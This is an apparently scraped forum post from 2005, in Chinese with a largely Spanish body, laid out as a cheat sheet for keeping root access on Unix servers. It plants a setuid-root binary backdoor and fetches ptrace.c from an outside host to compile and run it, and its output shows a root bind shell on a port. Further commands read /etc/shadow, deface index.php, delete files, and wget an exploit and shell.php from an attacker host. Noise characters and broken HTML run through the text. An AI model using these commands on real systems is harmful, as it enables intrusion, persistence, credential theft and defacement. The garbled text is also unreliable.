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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
- }4 |* u6 V* D3 s1 s<>1.</P>
2 A1 d5 h  U/ v% Y; @8 _<>[cnbird@localhost tmp]#id</P>
9 U2 Y2 G9 v4 K. V5 t7 X9 T1 y2 I. o<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>/ P. t# V( i8 w" s1 c# X1 l! y
<>[cnbird@localhost tmp]#cp `which id ` .</P>
/ h' n) D; @- x2 }+ O* [: a<>[cnbird@localhost tmp]#chown root ./id</P>; U% W  T( S0 ?  G0 W. h6 ~
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>4 T8 k) h) \4 J* |$ h0 e+ |
<>[cnbird@localhost tmp]#ls -l ./id</P>
4 x  {* ]9 g" a. j) D% h<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>& R$ y" B! P4 y; c' V
<>[cnbird@localhost tmp]#exit</P>
, _+ D* z% x: Y  c<>[cnbird@localhost tmp]$id</P>
) h( D. n4 q; I4 f- d<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>; v8 D6 c5 ^7 h1 W0 F" j3 A0 G
<>[cnbird@localhost tmp]$./id </P>5 l# L7 _+ W" E5 L" k
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
7 Y( c" Q2 C, q# }  m0 s: I<>2.利用ptrace成为root的方法</P>
5 _" |) P$ l0 P- L6 i<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
6 X5 V% d  }+ v, |1 V7 \-&gt; Parent's PID is 2313. Child's PID is 2314.
. C" r1 U" b- R/ l-&gt; Attaching to 2315...
/ B2 e/ d( [4 m, [-&gt; Got the thread!!) D6 T% N  {# b
-&gt; Waiting for the next signal...3 i" u/ ]% m  G1 f% C: f1 r
-&gt; Injecting shellcode at 0x4000e85d% x- d! o# b( W6 q, a
-&gt; Bind root shell on port 24876... =p  p# w3 {, j+ W' G; j
-&gt; Detached from modprobe thread., a3 Z$ Q2 H- b2 ]2 c( w
-&gt; Committing suicide.....</P>; v" r# N3 E" ^+ [; ?
<>[bash]# id
8 w6 z* Q+ x9 S* @. V- Xuid=0(root) gid=0(root) groups=0(root)</P>
, R/ G& c1 {$ j0 R, K" I<>ara ver los dominios que hay en el server:3 _' A$ h3 `1 R5 }' K2 Y6 f$ x
---------------------------------------------------------
$ L# f, Y6 D1 ]4 A* A: kcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios: V! i5 A( [8 q2 @3 j
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios" y9 Q1 l1 p2 e: O9 c7 ^
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales) }+ B, B- v+ e8 c: K
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
- ?7 l% |6 w/ }( y/ O  l: C# ~( pcat /etc/userdomains &lt;&lt; Este es el mas comun$ u6 O! K" O/ F) K; Z
---------------------------------------------------------</P>/ Z0 x4 J5 r% Z4 o! b
<>ara ver la version de kernel:" V) k8 ^4 \$ H6 p2 m
---------------------------------------------------------+ V7 Y; h$ c- K
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.# n! \9 r" P8 h% [2 s4 R" S
---------------------------------------------------------</P>
+ A3 a/ }& v/ ^. x" @' X' [5 n5 I<>ara modificar un index ya existente:" V1 H) e& ^6 |8 \
---------------------------------------------------------
/ s% D' v) x/ Z$ Jecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido# t+ c# F7 H# W8 m
---------------------------------------------------------</P>
. Y: L2 V! `; ^- R<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:. j0 x9 K: l+ k
---------------------------------------------------------
# D9 d- z2 F" c+ V7 ocd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
0 o" T$ t  t$ Z4 z& s& a' r' ?cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
5 N2 P. [# D7 e6 T! J; M1 O9 Ccd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"* Q+ w" U  X) \& L) r
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
" z! s; {0 X# _6 F$ CHasta aqui termina el proceso para un exploit.
8 [7 {5 I" I" d5 C9 b2 G4 V---------------------------------------------------------</P>" _/ ~7 m0 @; L
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
: R. ]$ v* i3 x  c0 j, A---------------------------------------------------------, J. J* r' F$ w% S6 s8 y
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.) t5 U. L. K3 {1 o/ f
---------------------------------------------------------</P>. z6 }( Z  n5 q$ e
<>Borrar un Ficher: [8 g+ v! V* B8 p
---------------------------------------------------------
) t- j8 m2 W7 g1 o+ Rcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
- |: z# Y, D5 @$ T: Z( \---------------------------------------------------------</P># `* F9 L: @9 l/ ]/ N
<>Subir un ficher/ m* r+ f0 q6 u$ P6 r: j" M
---------------------------------------------------------: b+ G. [  c( I& ?( P" Y) P
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
* j) u# D+ U" }8 ]3 V. B' i( Y<>
  k! B; n5 Q. O! }7 b+ X<CENTER></CENTER>
zan
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